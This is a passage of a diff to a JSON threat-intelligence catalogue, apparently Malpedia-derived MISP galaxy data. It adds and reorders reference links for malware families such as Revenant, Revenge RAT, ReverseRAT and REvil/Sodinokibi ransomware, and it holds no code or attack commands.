"https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" ], "synonyms": [], "type": [] @@ -39196,32 +41256,45 @@ "uuid": "a4dc538e-09b7-4dba-99b0-e8b8b70dd42a", "value": "Retro" }, + { + "description": "According to its author, Revenant is a 3rd party agent for Havoc written in C, and based on Talon. This implant is meant to expand on the Talon implant by implementing covert methods of execution, robust capabilities, and more customization.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant", + "https://github.com/0xTriboulet/Revenant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c95db5a7-8405-4931-868f-1a33ea7e8f6b", + "value": "Revenant" + }, { "description": "According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat", - "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", - "https://isc.sans.edu/diary/rss/22590", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/", - "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://securelist.com/revengehotels/95229/", - "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", - "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", - "https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/", - "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", - "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://isc.sans.edu/diary/rss/22590", "https://blogs.360.cn/post/APT-C-44.html", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/", "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", "https://blog.reversinglabs.com/blog/dotnet-loaders", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html" + "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://securelist.com/revengehotels/95229/", + "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", + "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", + "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/" ], "synonyms": [ "Revetrat" @@ -39236,11 +41309,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/", + "https://threatmon.io/apt-sidecopy-targeting-indian-government-entities/", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/", - "https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf" + 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"https://twitter.com/R3MRUM/status/1412064882623713283", - "https://vimeo.com/449849549", - "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", - "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", - "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", - "https://blog.group-ib.com/REvil_RaaS", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", - "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", - "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", - 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"https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", - "https://isc.sans.edu/diary/27012", - "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", - "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", - "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-southfield", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.bbc.com/news/technology-59297187", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", - "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", - "https://www.kpn.com/security-blogs/Tracking-REvil.htm", - "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", - "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", - "https://asec.ahnlab.com/ko/19640/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://redcanary.com/blog/uncompromised-kaseya/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.grahamcluley.com/travelex-paid-ransom/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", - "https://threatpost.com/ransomware-revil-sites-disappears/167745/", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", - "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", - "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", - "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", - "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", - "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", - "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", - "https://twitter.com/fwosar/status/1420119812815138824", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", - "https://twitter.com/fwosar/status/1411281334870368260", - "http://www.secureworks.com/research/threat-profiles/gold-southfield", - "https://asec.ahnlab.com/ko/19860/", - "https://twitter.com/Jacob_Pimental/status/1391055792774729728", - "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", - "https://www.cyjax.com/2021/07/09/revilevolution/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", - "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://twitter.com/SophosLabs/status/1412056467201462276", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", - "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "https://twitter.com/VK_Intel/status/1374571480370061312?s=20", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", + "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", + "https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/", + "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", + "https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html", + "https://asec.ahnlab.com/ko/19640/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", + "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", + "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/", + "https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html", + "https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422", + "https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", + "https://www.netskope.com/blog/netskope-threat-coverage-revil", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/", + "http://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", + "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", + "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", + "https://www.bbc.com/news/technology-59297187", + "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://twitter.com/Jacob_Pimental/status/1391055792774729728", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/", + "https://www.youtube.com/watch?v=l2P5CMH9TE0", + "https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", + "https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", + "https://home.treasury.gov/news/press-releases/jy0471", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", + "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + "https://twitter.com/VK_Intel/status/1411066870350942213", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", + "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://cocomelonc.github.io/malware/2023/02/02/malware-analysis-7.html", + "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", + "https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent", + "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", + "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.cyjax.com/2021/07/09/revilevolution/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", + "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", + "https://threatpost.com/ransomware-revil-sites-disappears/167745/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/ransomware-world-in-2021/102169/", + "https://twitter.com/SyscallE/status/1411074271875670022", + "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", + "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", + "https://twitter.com/fwosar/status/1411281334870368260", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", + "https://www.kpn.com/security-blogs/Tracking-REvil.htm", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", + "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.youtube.com/watch?v=P8o6GItci5w", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", + "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", + "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", + "https://www.secureworks.com/research/lv-ransomware", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "https://twitter.com/fwosar/status/1420119812815138824", + "https://hatching.io/blog/ransomware-part2", + "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", + "https://vimeo.com/449849549", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://redcanary.com/blog/uncompromised-kaseya/", + "https://twitter.com/R3MRUM/status/1412064882623713283", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://blog.group-ib.com/REvil_RaaS", + "https://twitter.com/LloydLabs/status/1411098844209819648", + "https://twitter.com/SophosLabs/status/1412056467201462276", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", + "https://velzart.nl/blog/ransomeware/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", + "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", + "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", + "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", + "https://community.riskiq.com/article/3315064b", + "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/", + "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", + "https://twitter.com/resecurity_com/status/1412662343796813827", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", + "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + 